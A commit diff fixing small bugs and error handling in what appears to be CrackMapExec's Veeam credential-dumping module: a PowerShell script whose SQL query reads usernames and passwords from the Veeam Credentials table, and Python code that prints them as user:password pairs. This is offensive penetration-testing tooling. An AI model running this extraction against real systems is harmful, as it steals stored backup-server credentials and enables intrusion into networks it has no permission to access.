Fix bugs and error handling

cme/data/veeam_dump_module/veeam-creds_dump.ps1

@@ -1,6 +1,6 @@
 $SqlDatabaseName = "REPLACE_ME_SqlDatabase"
-$SqlInstanceName = "REPLACE_ME_SqlInstance"
 $SqlServerName = "REPLACE_ME_SqlServer"
+$SqlInstanceName = "REPLACE_ME_SqlInstance"
 
 #Forming the connection string
 $SQL = "SELECT [user_name] AS 'User name',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords
@@ -18,13 +18,13 @@ try {
 	$connection.Close()
 }
 catch {
-	Write-Host "Can't connect to DB, exit."
+	Write-Host "Can't connect to DB! Exiting..."
 	exit -1
 }
 
 $rows=($dataset.Tables | Select-Object -Expand Rows)
 if ($rows.count -eq 0) {
-	Write-Host"No passwords found!"
+	Write-Host "No passwords found!"
 	exit
 }
 

cme/modules/veeam_dump.py

@@ -76,7 +76,13 @@ class CMEModule:
             output = self.stripXmlOutput(context, output)
 
         # Stripping whitespaces and newlines
-        output_stripped = [" ".join(line.strip().split()) for line in output.split("\r\n") if line.strip()]
+        output_stripped = [" ".join(line.split()) for line in output.split("\r\n") if line.strip()]
+
+        # Error handling
+        if "Can't connect to DB! Exiting..." in output_stripped or "No passwords found!" in output_stripped:
+            context.log.error(output_stripped[0])
+            return
+
         for account in output_stripped:
             user, password = account.split(" ", 1)
             context.log.highlight(user + ":" + password)
@@ -86,5 +92,5 @@ class CMEModule:
         SqlDatabase, SqlInstance, SqlServer = self.checkVeeamInstalled(context, connection)
 
         if SqlDatabase and SqlInstance and SqlServer:
-            context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlInstance, SqlServer))
+            context.log.success("Found Veeam DB \"{}\" on SQL Server \"{}\\{}\"! Extracting stored credentials...".format(SqlDatabase, SqlServer, SqlInstance))
             self.extractCreds(context, connection, SqlDatabase, SqlInstance, SqlServer)